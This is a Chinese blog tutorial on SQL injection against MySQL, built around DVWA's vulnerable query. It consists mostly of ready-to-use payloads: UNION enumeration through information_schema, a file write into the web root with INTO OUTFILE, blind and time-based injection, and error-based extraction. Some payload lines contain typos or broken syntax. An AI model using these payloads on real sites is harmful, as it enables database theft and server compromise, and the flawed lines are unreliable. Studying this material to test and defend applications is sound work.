Web安全之SQL注入初探 | 1ABlades' blog

link管理

链接快照平台

输入网页链接，自动生成快照
标签化管理网页链接

0x00 SQL注入介绍

SQL注入攻击是最为常见的Web安全漏洞之一，常年霸占OWASP第一名，可见其危害十分大。
SQL注入是由于过滤不严，将构造的SQL语句插入或添加到应用（用户）的输入参数中，从而可以非法执行数据库命令的攻击，可以获取网站数据，严重的会直接控制服务器。

0x01 SQL注入原理

本篇文章就MySQL为例，其他数据库在这里就不做扩展了。所以说学习注入，首先要学好数据库语言。

我们来看DVWA中，SQL注入漏洞的关键代码
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' ";
这里是连接数据库的，在数据库执行的查询语句，我们构造参数插入SQL语句。
例如
?id=1' or 1=1 --
语句就变成了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ' ";
成功插入了 or 1=1，这样就会查询users表里所有的name

0x03 SQL注入方法

判断注入点

在注入开始之前，需要先判断注入点存在。找到网站与数据库连接的地方，例如用户登录，信息搜索等。在参数后加 ' ， and 1=1 ， and 1=2 等进行测试

一般注入

判断返回字段个数
order by 2 --
查询当前数据库名及数据库版本
and 1=2 UNION SELECT database(),version() --
查询数据库
and 1=2 UNION SELECT 1,schema_name FROM information_schema.schemata --
查询表
and 1=2 UNION SELECT 1,table_name FROM information_scheam.tables WHERE table_schema=数据库名的十六进制编码 --
查询列
and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=表名的十六进制编码 --
查询字段
and 1=2 UNION SELECT 1,字段 FROM 表名 --
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
写文件
union select 1,char(xx,xx,xx) into outfile '/var/www/html/1.php'/*

猜解数据库长度
and length(database())>1 #
写脚本fuzz数据库名
and substr(database(),%d,1)='%s' %%23
过滤了单引号的话可以使用ascii()
and ascii(substr(database(),%d,1)=%d %%23)
利用正则REGEXP
1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
接下来查询表，字段结合一般注入，方法相同

时间盲注

利用函数将返回时间延迟，从而得知语句查询是否正确

sleep()延时
if(ascii(substr(database(),1,1))>115,0,sleep(5)) #
benchmark()延时，是将后面的函数执行多次，比较占用CPU，进行测试时不推荐用这种方法
UNION SELECT IF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)) User,Password FROM mysql.user WHERE User = 'root'

报错注入

通过构造使信息从错误提示中回显

利用floor()
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
对xml数据进行查询和修改的xpath函数，xpath语法错误
updatexml(1,concat(0x3a,(select user())),1)
利用extractvalue()
extractvalue(1,concat(0x7e,(select @@version),0x7e))

报错函数，可以利用他们获取数据库名和表名
 https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html